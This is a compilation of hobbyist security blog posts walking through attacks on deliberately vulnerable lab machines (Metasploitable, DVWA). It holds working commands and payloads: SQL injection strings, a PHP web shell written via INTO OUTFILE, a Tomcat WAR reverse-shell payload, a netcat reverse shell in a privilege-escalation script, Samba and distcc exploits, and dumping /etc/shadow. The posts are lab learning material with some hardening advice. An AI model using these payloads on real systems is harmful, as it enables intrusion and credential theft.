SQL injection on Metasploitable

So I was playing around with the TikiWiki web application on the Metasploitable VM tonight, and I decided that I wanted to try and see if this thing was vulnerable to SQL injection. I did a quick google search and it told me that indeed there were reported SQL injection points for this particular version, but I wanted to try and see if I could find one on my own. So began my manual assault on all the fields and parameters I could see. Finally I found a parameter that is passed on multiple pages but I first got the application to throw an error on the tiki-listpages.php page using the sort_mode= parameter.

Interestingly enough, when I tried to use a tick (') in the sort_mode= parameter, it would just give me an error stating that was an invalid value for that field. I did find that most of this application does sanitize the input from the user, but for some reason this particular parameter did not like integers being put into it and the result is a massive error page yielding all kinds of good info. Here was what I used:

http://192.168.2.109/tikiwiki/tiki-listpages.php?find='&search=find&sort_mode=1

And here is the beautiful error page this throws:

As you can see, this gives us all kinds of good info. One of the big give aways is that fact that this is a mysql database. But if we continue to scroll down, we get even more really interesting info. A quick search for 'password' reveals this:

Wow. It looks like this bad query dumped a configuration file for the entire database including the username and password for the database! And to test it out, I tried logging in through the mysql client on backtrack and sure enough, I was able to view the whole database.

This is a very old version of tikiwiki, 1.9 something I think, and they have long since patched this vulnerability. It is amazing what one small error can produce from the database side of a web application.

Attacking Metasploitable - Tikiwiki on port 80

For this post, I will be beating up on the Tikiwiki web application that is running on port 80 of the Metasploitable vulnerable VM.

First, we need to scan our VM with a very good web application scanner called Nikto. Here is the description of nikto from http://cirt.net/nikto2

Nikto is an Open Source (GPL) web server scanner which performs comprehensive tests against web servers for multiple items, including over 6400 potentially dangerous files/CGIs, checks for outdated versions of over 1200 servers, and version specific problems on over 270 servers. It also checks for server configuration items such as the presence of multiple index files, HTTP server options, and will attempt to identify installed web servers and software. Scan items and plugins are frequently updated and can be automatically updated.

Perfect for finding out what is sitting on our target web server. Once we have run the scan, we see that there is a /tikiwiki directory located on the webserver. Lets browse there and have a look around.

Now that we know there is a version of tikiwiki running on this web server, lets have a look in metasploit and see if it includes any modules we can use on tikiwiki.

search tikiwiki

Perfect! There are a few of them we can try out. Lets go ahead and try the information disclosure module for tikiwiki to see if this webapp leaks valuable info to us. This is kinda self explanatory so I will not go into how to configure and run this module.

Well. Looks like we got the database version (mysql) the username (root) and the password (root). Lets try to log in remotely using the information provided using our built in mysql client on Backtrack. This may not work if remote logins are disabled, but it is worth a try.

mysql -h 192.168.2.109 --user=root --password=root

Awesome! Now we have access to the database as the root user! Lets list the databases.

show databases;

Given this list, and since we are wanting to get root privileges on the web application, we will try the tikiwiki database first.

use tikiwiki;
show tables;

After having a look at the tables in this database, the ones that look most useful are tiki_users and users_users. Lets try querying the tiki_users table first.

Select * from tiki_users;

Hmm. It seems that this table is empty. Lets try out the users_users. Hopefully that one will not be empty too!

Select * from users_users;

Bingo! This one is definitely not empty. After looking at the field names, lets try and clean up our query results with info that will be most useful to us.

Select userID, login, password from users_users;

Awesome! We have found the admin user in the users_users table. Lets try and use these credentials to log into the tikiwiki web application.

Once we enter the credentials we are presented with a change password page, how convenient ;)

Once we change the admin password we are presented with the admin dashboard for this web application. Success!

From here, we could try and gain access to the underlying operating system as the web application user, or we could simply change the content of the web application pages. I will stop here for now because I am tired and not very greedy tonite ;)

Jakx

Using Nessus and Metasploit

In this post I will perform a basic vulnerability scan with the home version of nessus and import the scan results into metasploit. Nessus is a very powerful vulnerability scanner and you can learn more about it here : http://www.tenable.com/products/nessus/nessus-product-overview
If you dont know how to set nessus up, there are many tutorials out there on that. We currently have nessus set up on our instance of Backtrack 5 and we will now perform the scan on the metasploitable VM. I really enjoy going through the Metasploit Unleashed pages and that was my inspiration to make this post and try it out myself. Those guys have a post on this topic as well here:
http://www.offensive-security.com/metasploit-unleashed/Working_With_Nessus

Once we have nessus up and running with an admin user configured, we need to login to the web interface at https://127.0.0.1:8834. Next we need to configure our scan.

First click on scans in the menu bar and then click add. Once you do that, you will be presented with a new screen that allows you to specify the scan policy as well as the scan name, and addresses to be scanned.

Next we will launch the scan and wait for the results....Once the scan is finished we view the results and see that our friend metasploitable has quite a few vulnerabilities with two critical ones at port 445.

Nessus is pretty amazing because you can further drill down these results and once you get to a specific vulnerability, nessus will give you a description of the vuln, the solution to fix it, whether or not there is a public exploit available for it, and what it is exploitable with, ie. core impact, metasploit , etc. If it is exploitable through metasploit, it will even give you the metasploit module to use!

Now that we have our scan results, we need to download the scan so we can play with it in metasploit. Just download the file as a .nessus(v1) file.

Now we need to import the file into the metasploit database. Since I already have some stuff about metasploitable logged in my current database I am going to clear that out so we can have just the nessus info.

Metasploit allows you to have multiple workspaces so that when attacking multiple machines, you are able to keep all the stored information in seperate places. Since I am only attacking one machine right now I only had one workspace named default. You can add workspaces using the workspace -a workspacename or delete workspaces using the workspace -d workspacename. Also when you are ready to use a workspace type workspace workspacename.

Now that everything is refreshed, lets import the nessus results into the default workspace.

Awesome. Now by typing commands like hosts, vulns, and notes we are able to see all the pertinent information gathered from the scan. Inside metasploit we can use vulns -p to specify a specific port to search for and vulns -s to specify a specific service to search for, or a combination of both.

Nessus is a very powerful tool and coupled with metasploit, it can give an attacker a lot of information to base attacks on.

Attacking Metasploitable - tomcat, this is .War!

In this post we are going to target another attack vector of the metasploitable OS. In a previous post we did a port scan and saw that on port 8180 Apache Tomcat was running. For more info on what Apache Tomcat is, go here. Lets try to brute force the login credentials of the manager application for tomcat. We will use metasploit to do this.

msfconsole
search tomcat
use auxiliary/scanner/http/tomcat_mgr_login
set RHOSTS 192.168.2.109

Metasploit, by default, has some options configured that we will need to change. First we will need to change the port to 8180.

set RPORT 8180

We also want to change the STOP_ON_SUCCESS value to true so that when we are successful, metasploit will stop brute forcing.

set STOP_ON_SUCCESS true

Normally when brute forcing something, you need to provide a file or list of usernames and passwords, but since metasploit is one bad mo fo, it provides a user and password file custom made for this auxiliary module located at

/opt/framework/msf3/data/wordlists/tomcat_mgr_default_userpass.txt
/opt/framework/msf3/data/wordlists/tomcat_mgr_default_users.txt

If you have not explored the wordlist directory or any thing else inside metasploit, I would highly recommend you do so because there are many useful things you will find.

exploit

Perfect. The user configured a *highly complex username and password tomcat:tomcat. Now we can head over to the respective web address and try to login. We will open firefox and type this into our browser.

http://192.168.2.109:8180/manager/html

Once we are logged in, we are presented with the web application manager interface. We were able to compromise the web application, but now we are wanting to be able to interact with the underlying operating system. Since we only have application layer access right now, we need to find a way to get the application to run some code for us. If we scroll down we can see a place where the interface allows us to upload a .War file.

After doing some research, I found out that .war are Web ARchive files that contain all the files needed for a Java based web application. Would it be possible for us to somehow create a backdoor we could upload in the form of a .War file, and then get the backdoor to execute?

Metasploit to the rescue, once again. Using msfpayload, we can create shellcode and then specify what type of file to send it to. It just so happens, that one of the filetypes that msfpayload supports is .war. If you are not familiar with msfpayload there are plenty of tutorials out there. Google is your friend.

msfpayload linux/x86/shell_reverse_tcp LHOST=192.168.2.102 LPORT=1337 W > runme.war

/* Sidenote: for some reason, the linux/x86/shell/reverse_tcp metasploit payload would work and create a session, but would then drop the session due to an EOFError that looks like this:

[*] Command shell session 2 opened (192.168.2.102:1337 -> 192.168.2.109:33743) at 2011-11-01 17:30:42 -0400
[*] Command shell session 2 closed. Reason: Died from EOFError

Not really sure why it does this, mabye has something to do with the /shell/reverse_tcp form of payload being the type where it just opens network connection then waits for the rest of the payload from the attacker machine, and the /shell_reverse_tcp type has the entire thing put together. I will have to keep playing around with it.*\

Ok, now that we have our backdoor in a .war format, all we need to do now is upload the file to the manager and then navigate to the right webpage to execute it on the machine. Metasploit actually implements the same technique as an exploit, but I wanted to try and do it manually so that I could learn more about how it works since I do not know a lot about java web applications. You can find more about their built-in exploit here:

http://www.metasploit.com/modules/exploit/multi/http/tomcat_mgr_deploy

After a little more research, I found out that msfpayload creates a randomly named .jsp (javaserver page) file and it puts the payload in this page. We will need to figure out what the page is called to access it. Since a WAR file is just an archive of other files, lets unzip the war file so we can see the name of the .jsp file. We can use the unzip command and the -l flag just to see a list of the files.

unzip -l runme.war

Perfect. Now we know the filename. Before we navigate to the page, we need to set up a listener on the attacker machine to catch the reverse shell. We can use either the multi/handler in metasploit or just a basic netcat listener. Lets just do netcat.

nc -v -l -p 1337

Once this is done, we need to navigate to the .jsp file on the server to get it to execute and hopefully give us a shell. The manager application will, by default, put the files located inside the WAR archive in a directory under the archive name. So in my case it will be /runme/ajegupbyv.jsp

Awesome! We now have OS layer access on this server. At this point we would do some recon and try to escalate privileges if we wanted to further compromise this machine.

What can we learn from this attack about securing tomcat?

1) Never, Never, Never, Never use the freakin name of the application as the username AND/OR the password. Ever. It is simply way to easy to brute force. A complex username and password is a must for authentication integrity. An unusual username and password would make brute forcing much harder.

2) If you are going to have a manager application, you can filter who is allowed to request it by IP or by host name. If the filter was by subnet, it would not have necessarily prevented this specific attack, due to the fact that I am on the same subnet as the server, but if the filter only allowed certain IP's to connect, it would have made the attackers job that much harder.

3) Although not a solid security tactic, rename the manager application. This would not stop an attacker but would at least make life a little tougher for him.

For more information on security an install of tomcat, OWASP has put together a pretty good article here:
https://www.owasp.org/index.php/Securing_tomcat#Securing_Manager_WebApp

Attacking Metasploitable part 3

In the previous post we were able to compromise the metasploitable host in two phases:
1) gain initial access to the host through the distcc vulnerability which you can learn more about here http://osvdb.org/13378
2) explore the remote host and figure out read/write permission on various directories and files. Then escalate our privileges using ssh and the authorized_keys file

In this post, we will go back to the initial breach and try to escalate our privileges another way.

So, say that we are sitting at our original shell running as the user daemon.

Now through a bit of reconnaissance, we can get the kernel version and try to escalate our privileges through a local priv escalation exploit.

uname -a

This command reveals to us that we are running kernel version 2.6.24. We will now head over to exploit-db and look for any local privilege escalations that could apply to us. Luckily we are able to find one here : http://www.exploit-db.com/exploits/8572/

*   udev before 1.4.1 does not verify whether a NETLINK message originates 
*   from kernel space, which allows local users to gain privileges by sending 
*   a NETLINK message from user space.

This bit of code exploits a vulnerability in the udev service and allows us to escalate our privileges to the user running the service, root. Now all we need to do is download, compile, and provide necessary arguments. If all goes well, we should be able to get root access to this machine. First to download:

 wget http://www.exploit-db.com/download/8572

This code is saved as index.html and obviously we cannot compile C code in this format so we will rename it so priv.c

 mv index.html privs.c

Now we need to find out what compilers are on this machine. Since our exploit is written in C, We will search for the gcc compiler:

 find / -name "gcc" 2>/dev/null

This command looks for files with the name (gcc) looking in the entire filesystem ( / ) and the 2>/dev/null is simply redirecting the error messages to /dev/null. Because we currently have limited privileges, we will most likely get alot of permission denied error message from this find command. The results show us that this host does in fact have the gcc compiler installed and it is universally available to everyone.

Now we will compile our exploit.

gcc privs.c -o privs

If you dont know what gcc is and/or you dont understand what the above command does, you need to read up on programming and C source code.

/* Sidenote: it is VERY dangerous to download, compile, and run code created by hackers on a system so I would advise against it if you cannot get a basic understanding of what the actual exploit is doing. Download at your own risk! *\

Okay, now that we have our exploit ready to go, we can see from the source code that it needs an argument of the process id from the /proc/net/netlink socket. We can find that by issuing this command:

cat /proc/net/netlink

Our PID seems to be 3007, but lets check the udev service to make sure.

ps aux | grep udev

Our udev service has a PID of 3008 and 3008 - 1 = 3007 so our initial number is correct.

From our inital reconnissance in a previous post we found that this machine had fun things installed on it, such as netcat. If you dont know what netcat is (aka the tcp/ip swiss army knife) go here.

We will utilize the local copy of netcat to connect out to the attacker machine once the exploit runs to give us root access to this machine.

/* sidenote 2: I tried to get a meterpreter shell on this linux machine but I was unable to make it work. Every time I ran the ELF file produced by msfencode, it would throw a segmentation fault and the multi/handler would send the stagers over but would not be able to create a shell for some reason. Hopefully I will be able to figure it out and post it later. *\

Now to build our payload that the exploit will execute:

echo '#!/bin/bash' > run
echo '/bin/netcat -e /bin/bash 192.168.2.102 1337' >> run

Our payload will be to start netcat and to execute a bash shell once the program connects to the attacker machine. We use the echo command with the > to write to a file called 'run', because that is what the exploit is going to execute as the root user. We also need to start up our netcat listener on the attacker machine to catch the shell from the victim.

nc -vv -l -p 1337

The flags for netcat are pretty straight forward. Issue the -h flag if you dont know them.

Now all we have left to do is run the exploit with the required arguments.

./privs 3007

Bingo. We have successfully escalated our privileges to root.

To summarize:
1) Initial break in through distcc service
2) Did some exploring and learned that we are running kernel 2.6.24
3) Found a public exploit that took advantage of the vulnerable kernel version
4) Compiled exploit and set up payload/netcat listener
5) Ran exploit, escalated privileges, got r00t
 

Jakx

Attacking Metasploitable part 2

This post will show another attack vector on the metasploitable operating system. I learned today that when port scanning a machine, nmap by default only scans 1000 ports. "The simple command nmap scans 1,000 TCP ports on the host ." I found this information on the documentation page here. This is very important because even though we ran nmap last time with the -sV service/version flag, we still could have missed some ports that nmap does not scan by default. We can fix this by using the -p flag and then specifying exactly how many ports we want nmap to scan. So, lets start off by doing that.

nmap -v -sV -p 1-65535 <target ip address>

 
As you can see, we are given one more open port and service when we set the -p flag in nmap to all possible ports. We will now search metasploit to see if this service is vulnerable to attack.


msf > search distcc
msf > use exploit/unix/misc/distcc_exe
msf exploit(distcc_exec) > set RHOST 192.168.2.109
RHOST => 192.168.2.109
msf exploit(distcc_exec) > exploit

We then get a shell on the machine.
A quick whoami command shows that we are running as the daemon user. To further compromise this machine we will need to escalate our privileges so that we are able to move more freely on the machine. After some searching through some of the limited files we are able to view, we discover that the read permission bit is set on the authorized_keys file within the /root/.ssh/ directory allowing us to view the contents of the file.

If we are able to brute force this encrypted key, we will be able to login to this server as that user. We are only able to do this because this users key is stored in the authorized_keys file on this server.

We now need to find a tool that will help us brute force this key. After heading over to exploit-db.com and searching for openSSL on linux we find a suitable tool here : http://www.exploit-db.com/exploits/5720/

This tells us that first we must download the list of keys. Since we are able to see the private key, we can just use this downloaded list and grep to find to corresponding public key.

Awesome. We found the corresponding public key. Now all we need to do is try and login to the metasploitable machine through ssh with the public key file using the -i identity file flag.

And we now have root access.

To find out more about this attack, refer here : http://digitaloffense.net/tools/debian-openssl/

Metasploitable + Backtrack = Fun

In this post I will be demonstrating how to use the basic functionality of Metasploit to compromise a linux host. The victim is a virtual machine called Metasploitable running linux, that is purposely packed with a bunch of vulnerable software. It is built to help people learn security so please do not download this and use it on any public facing network. You will get owned. You can download this VM here : Metasploitable

Once you have the VM downloaded fire it up and log into backtrack 5 as well.

Open a terminal in backtrack and make sure that you have the latest version of Metasploit installed using the msfupdate command.

First we will want to locate the vulnerable machine. I use netdiscover to list all the machines on the private network. I saw one running as a virtual machine so I will go ahead and assume that this is the Metasploitable VM.

Next we will go ahead and run a basic nmap scan on our victim machine. There are ways to scan machines inside of metasploit using the db_nmap command, among other things, but for the sake of simplicity lets just use regular nmap for now.

nmap -v -sV 192.168.2.109

This is a basic scan with the verbose flag so that we can see open ports as they are discovered followed by the service/version detection flag so that nmap will probe the open ports to discover services running and their versions.

As you can see there are many open ports on this machine. For the time being we will focus on the part of the scan that reads

139/tcp open netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)

TCP port 139 and 445 are open and are running samba smbd version 3.X. Lets see if metasploit has any exploits we can use that target this service.

There are two ways to search through the metasploit database.

Open up msfconsole and type: search samba
Go to http://www.metasploit.com/modules/ and search from there.

I choose to use the msfconsole and here are the results

The exploit that is of particular interest to us is exploit/multi/samba/usermap_script

Here is the description as to how this exploit works:

"This module exploits a command execution vulerability in Samba versions 3.0.20 through 3.0.25rc3 when using the non-default "username map script" configuration option. By specifying a username containing shell meta characters, attackers can execute arbitrary commands. No authentication is needed to exploit this vulnerability since this option is used to map usernames prior to authentication!"

Obviously this is a very powerful exploit. Now we will want to configure the exploit before we send it to our target. First we will need to type:

use exploit/multi/samba/usermap_script

Once we have the exploit set we can also type:

info
show options

show options is pretty self explanatory in that it presents you with that particular exploit's configurable options. For this exploit we will only need to set a few of these options. First we will need to set the RHOST option. This is the ip that your victim is currently using. To do this type:

set RHOST <victim ip address>

The next option we need to set is the type of payload that this exploit will contain. I chose the generic/shell_reverse_tcp payload:

set PAYLOAD generic/shell_reverse_tcp

You can also specify the LPORT option, being the local port the shell will connect to. Once we double check that all of our options are configured correctly, we are ready to launch the exploit.

exploit

As you can see, the exploit completed successfully giving us back a shell on the compromised linux system. A simple ls command shows the linux filesystem that we are now able to browse at will and a whoami command shows that we have root privileges on the remote system. Lets go ahead and dump the passwords for all the users:

cat /etc/shadow

Since we know this is a linux box, lets just go ahead and gather as much information as we can using more features in metasploit. Hit control+z to background the current session. We will now use a post exploitation module that takes the session number as its only option and grabs and stores alot of information from our current environment.
type:

use linux/gather/enum_linux
set session
exploit

Here we can see that metasploit gathered alot of valuable information for us about this system and has stored it on our local disk.

Metasploit is a extremely powerful too and this is just one way that the metasploitable virtual machine can be compromised. Hopefully this will show you how dangerous running old versions of software can be. I will go through other ways to compromise metaploitable in later posts.

Jakx

Basic SQL Injection on MYSQL part 2

In this post we will continue to enumerate the database through the use of the Union statement. We will use the union statement to poison the results being given back to us because we cannot use stacked queries in a MySQL/PHP environment. A stacked query is simply closing off the first query and creating our own from scratch and appending it to the original one. In our case it would look something like this:

'; Select user from mysql.user;#

As you can see we would end the original query with the semi-colon and would then be able to redirect the query to basically anything we wanted. But as I said we are not able to do that in this scenario.

The first step would be to determine how many columns we must put in our query to make the database happy. Since we have already done that in the previous post, we know that the original query has two columns. Therefore all of our enumeration must be done with only two columns per query. Lets start by trying to dump the database schema piece by piece. We can do this by accessing the information_Schema database. Our query would look like this:

' union all select schema_name,table_name from information_schema;#

Awesome. We are able to see the schema_names (or database names) as well as each table name. When enumerating a database we want to drill down into the rows in this order

Databases
Tables
Columns
Rows

Now that we have the databases and tables, lets clean our results up a little bit and also get specific columns from interesting tables.

' union all select concat( table_schema,':' ,table_name), column_name from information_schema.columns where column_name like '%pass%';#

Now then, that is much cleaner. What the previous injection does is asks for the database names and the table names concatenated as the first column, then column names as the second column, from any column that includes the letters 'pass'. We do this by using the LIKE SQL command. Remember, once sql injection is confirmed, you are usually only limited by your knowledge of the SQL language. You are able to use any SQL command since you are talking straight to the database. As you can see we have pulled 3 columns all named password. One being out of the dvwa database and the other two out of the mysql database. Lets go ahead and explore the dvwa database and see if we cant extract the users and passwords for the application we are using.

' union all select user, password from users;#

The results are truly a beautiful thing to behold. A list of usernames and hashed password, also know as the jackpot. All we would need to do at this point is point our trusty John the Ripper password cracker at these MD5 hashes and wait for the results to have full admin access to this web application. That is fine and dandy but I am a greedy bad guy and I want to see if I can compromise the MYSQL database as well as the underlying operating system. Lets go after the MYSQL database first.

' union all select user, password from mysql.users;#

Bingo. Not only did we get the root account hash, we also got a hash from a "pma" user. This is most likely going to be the PHPmyAdmin account in the database.

On to the OS. For attacking the underlying operating system, we will use a very simple php shell to give us the ability to run commands on the OS.

' union select "<? system($_REQUEST['cmd']); ?>",2 into outfile "/opt/lampp/htdoc/temp/badguy.php" ;#

This command requires that we have write access to a directory that is public on the webserver. In this case we are writing to the directory temp, a file called badguy.php. We are writing a simple php command to this file so that we are able to pass commands through the browser to the underlying operating system.

Now we need to enter into our browser the following: 127.0.0.1/temp/badguy.php?cmd=uname -a

Awesome! We are able to issue operating system commands and we can see that this is a Debian server as well as what kernel version. At this point we would try and figure out a way to escalate privileges. G0tmi1k has a great compilation of commands to help map out an unknown OS

http://g0tmi1k.blogspot.com/2011/08/basic-linux-privilege-escalation.html

For a really great presentation on union poisoning go here : Understanding MySQL poisoning

That is all for this post. Hope you are able to see just how much damage a SQL injection attack can allow.

-Jakx

Basic SQL Injection on MYSQL part 1

In this post, I will demonstrate some basic manual error based and union based SQL injection techniques on a MYSQL database. I will not be using any tools in this post because it is very important to understand what is going on behind the scenes. The set up is a Debian virtual machine with Apache and MYSQL installed through XXAMP running a deliberately vulnerable web application called Damn Vulnerable Web App. Very creative I know. I also downloaded XXAMP just for fun because I had never used it before

For Damn Vulnerable web app go here -> http://www.dvwa.co.uk/
For XXAMP go here -> XXAMP

Ok, after figuring out that XXAMP changes some of my default paths and other annoying things, I put the DVWA (Damn Vulnerable Web App) in my public web directory and browsed to http://127.0.0.1/dvwa/login.php and was presented with this login screen:

The default login for DVWA is admin:password

Once we are logged in we need to go ahead and set up our database that we are going to use. Navigate to the setup page on the left hand side and once you are there click Create/Reset Database and you should see this

As you can see, this app created a new database and a few tables as well as some test data for us to use. You could do this part manually if you need to brush up on your SQL commands.

The last step is to click on DVWA Security on the left hand side and set the web app security to low so that we can later look and see how a poorly set up php script handles our malicious SQL commands. Once this is done, click on SQL injection on the left hand side.

Now that we have everything set up, lets start breaking it!

The first step when trying to do SQL injection, is to determine where the injection point is. In this case we can see that when we put test data into the User Id: field the address bar shows us a possible point of injection because it is taking a parameter from the webpage

As you can see, our possible injection point is

?id=test

Now our next step is to see if this parameter is vulnerable to sql injection. We can simply do that by typing a ' into the field and submitting it to see what happens.

Perfect. The application gave us an error page straight from the database (Hence the name, Error base SQL injection). Now that it gave us this error, lets go back and take a peek at the source code behind the application to see whats going on by clicking View Source in the bottom right hand corner of the page.

Basically whats going on is that it is taking what is typed into the field and storing it in a variable, the directly appending that variable to the actual SQL statement that it is sending to the database. After that it is going through a small while loop to display the information that the database gives back to the application. What we are most interested in is this line:

$getid = "Select first_name, last_name FROM users WHERE user_id = '$id'";

This tells us that no matter what we put into the field on the webpage, it will get inserted into the end of that SQL statement as the $id variable. So if we decided to put "Please inject me" into the field on the webpage the statement would look like this:

$getid = "Select first_name, last_name FROM users WHERE user_id = 'Please inject me'";

The reason that the application breaks when we insert a tick mark into the variable is because it then has too many tick marks in the statement causing a syntax error. This is what it looks like:

$getid = "Select first_name, last_name FROM users WHERE user_id = '''";

So our strategy is going to be inserting a tick mark into the beginning of our input and then putting a comment sign at the end of our statement commenting out the rest of the hardcoded statement.

Being able to see the source code for an application like this is  good because it helps us learn what is going on.

Now that we know the database is going to give us direct errors through the web application, we can begin to use this to our advantage to construct SQL statements that it will accept. Lets begin to enumerate the columns used in the secret(even though we just looked at it) SQL command hardcoded into the application. First we will add the ORDER BY command followed with a semi colon to our injection because we are wanting to ask the database how many fields are in the SQL statement. So lets try this:

' order by 50;--

By asking the database to order our columns by 50, we are given an error but it seems that this specific error does not like our commenting values. Lets try different commenting values.

' order by 50;#

Awesome. Now the database is accepting our comment value and is allowing us to omit everything after that. As you can see by asking the database to order our columns by a number that does not exist it throws an error letting us know that there are less than 50 columns. Lets try 3.

' order by 3:#

Still no luck. There are still fewer than 3 columns being returned.

' order by 2;#

Bingo. The application did not return an error page and accepted our statement. This tells us that the database is giving the application 2 columns of data each query. Now we are going to leverage the UNION statement to see if the application will throw some data onto the webpage for us. Since we know that we have two columns being returned, lets try

' union all select 1,2;#

Awesome. Not only does the application put one of the two columns onto the page, it gives us both! Lets try two database constants in place of our two numbers to see we can get more info out of the database:

' union all select @@version, @@datadir;#

Awesome. The database has given us its version as well as the directory that the mysql data is in. At this point the possibilities are up to you. Here is a good cheatsheet that I found specifically for MYSQL. http://www.michaelboman.org/books/sql-injection-cheat-sheet-mysql

That guy also has cheats sheets for other databases such as MSSQL and Oracle.

In the next post I will show some ways to enumerate more of this database.

-jakx

East Tennessee Cyber Security Summit

This past week I attended the East Tennessee Cyber Security Summit. I had never been before, but an acquaintance of mine who knew that I am always looking for opportunities to learn more about any and everything security-related really encouraged me to attend.

Of all the talks given, I think Joe McCray's talk on advanced SQL injection was my favorite. I had heard of Joe a few years back and had since viewed a few videos and slides that he has posted online but never had the chance to hear him in person until this week. One of his first questions during this talk was "Who likes to break things?" and it was at this moment that I knew this was the right place for me. Joe continued to demonstrate some techniques he uses in some of his pen-tests such as using different types of encoding to bypass different types of Web app firewalls.

While I really enjoyed the technical stuff I simply could not stop thinking about something he said at the beginning of the talk that went something along the lines of "Network pen-testing is dead and it died in 2006 with the introduction of SP2 for windows XP."

He laid the topography of modern day pen-testing out and since I always find it beneficial to look at things from a birds eye view as well as nuts and bolts, I will share what he said:

1) Service pen testing - Rest in peace thanks to things like Data Execution Prevention, Stack cookies, and Address Space Layout Randomization.

2) Client side exploitation - such as IE, flash, shockwave, and my favorite Adobe :)

3) Web app - email, XSS, databases, etc...

This was incredibly beneficial for me to hear from someone who is very active in the field and is able to present findings like this from experience. Computer attacks are fascinating to me and when I first started becoming interested in attacks service based exploitation was still very effective. It is interesting to look back and read things like Kevin Mitnicks "Ghosts in the Wires" book and see how much change has occurred in regards to security as defenders as well as attackers have raised the bar due to computers becoming exponentially more advanced. The transformation of "hackers" from being people who are curious and exploratory to the modern "cyber criminal" is a pretty wild leap. I fear it will only become worse, as far as cyber crime attacks are concerned, as more and more things are computerised and then pushed to the Internet. InfoSec is a rapidly changing field and there is no doubt that to be good, one must make it a priority of riding the wave of change.

Overall I really enjoyed the conference. I was somewhat suprised to see that, from what I could tell, most of the audience was general IT which was pretty different from the other conferences or videos of conferences that I have seen or been to.

In my next few posts I will be demonstrating the three basic forms of SQL injection: Error based, Union, and Blind.

Sniffing credentials and images with Wireshark

In this post I will demonstrate one way to sniff weak user credentials as well as images a user viewed in their browser. The set up is an Apache web server running a basic page that requires users to authenticate to view the restricted area of the site. The authentication is done by Apache's Authtype Basic method.

With Wireshark running on the webserver, we access the site from another machine on the network and are presented with the basic login form, dependent on which browser you use.

As you can see, the user inputs his username and password to request access to the protected area of the site.

Once the request is sent, Apache authenticates the user and directs him to the protected area of the site. If we take a quick look at the corresponding packet in Wireshark we can see that the credentials are sent in clear text across the network.

Now that we have acquired the users credentials, lets look at what he did while he was on the site. If you see that the user has requested and viewed images from a web server, Wireshark is able to export those as well.

Click File, Export, Objects, and then HTTP

Wireshark will take any reassembled objects in the HTTP stream and allow you to save them to disk. It is able to save images, documents, executables, and anything else that can be sent over HTTP.

Wireshark is definitely a powerful tool. This is not even scratching the surface of what Wireshark can do. For more of its functionality check out their users guide.



http://www.wireshark.org/docs/wsug_html/


As you can see, sniffing is a powerful attack vector, especially when credentials are not even encrypted when being passed across the network. Moral of the story is, when dealing with sensitive information, make sure that you are using a reliable, encrypted method of communication such as SSL. You never know who could be on your network.

SQLmap

I was able to play with a mock MySQL database the other day to see if I was able to acquire a specific username and password combination. The database was vulnerable to SQL injection through an online web application that allowed users to view pages through a php script that took a numerical value and passed it straight to the SQL statement. By modifying the number to equal a value that there was not a page for, I inserted an OR statement after that value and was able to redirect the SQL statement from there. After a few initial tests, I saw that the web application was indeed filtering the error messages that the database threw back, therefore I had to use "blind" SQL injection. If you want to know more about blind SQL injection, OWASP has a great page HERE.

After asking the database quite a few "yes or no" questions through SQL statements, I decided to try out some security tools that I had never used before. One of which was a beautiful little tool called SQLmap. After pointing it at the web application, SQLmap began to laugh at my manual attempts to fingerprint the database and enumerate its tables and within minutes it had finished its task. I was floored. How in the world did this thing produce the results that it did in such a short amount of time. Being the kind of person who has to know how things work, I fired up wireshark and watched as SQLmap sent packets faster than I could scroll down. Once it took a breather I filtered through the packets and looked at the SQL statements that it was sending to the application. It looked like SQLmap was using the technique discussed on the OWASP page that enumerates each character individually through true or false statements. If the statement is true the page will return with the correct item as if it were just a simple ID request. If the statement is false, the page will return with some sort of predefined error page. And seeing as though a program is capable of being much smarter and faster in this type of scenario, this is the ideal way to perform a blind SQL injection due to the fact that it saves ALOT of time.

Thanks to SQLmap I was able to acquire the dummy username and password. Needless to say I was highly impressed by this tool and look forward to becoming more skilled with it, as well as learning more about database security.

For a list of SQLmap's features check out their page HERE.

"Supercookies"

I was doing some work with a friend of mine when he told me about a fairly new type of internet monitoring technology he heard about on the Wall Street Journal. Since the WSJ is not the most technically advanced news reporting group out there, I figured that if this new form of monitoring was appearing in an article there than it was not terribly cutting edge, but I had never heard about it. "Supercookies" as they are called seem to be cookies that can take up more space on your hard drive as well as be harder to locate and remove. Supercookies or "Flash cookies" seem to be adobe flash based and the adobe website storage settings for your computer can be accessed here.

fightidentitytheft.com also had some other ways that supercookies can be dealt with as well are more insight into supercookies

Targeted marketing is obviously one of the main reasons companies such as Microsoft, Hulu, and other large companies would use browser tracking methods such as supercookies, but I feel like the line between smart marketing and invasion of privacy is becoming smaller and smaller these days and the dangers of that are not fun to think about.

Say a company were to attain browsing history of an individual who was a doctor and is constantly searching for specific types of diseases or illnesses. If, for some reason, that browsing history were given to that individuals insurance company and the insurance company were to drop him or her for fear that they were possibly getting sick, is that smart business or is it a major breach of privacy? Just food for thought...

 
Wall Street Journal Supercookie Article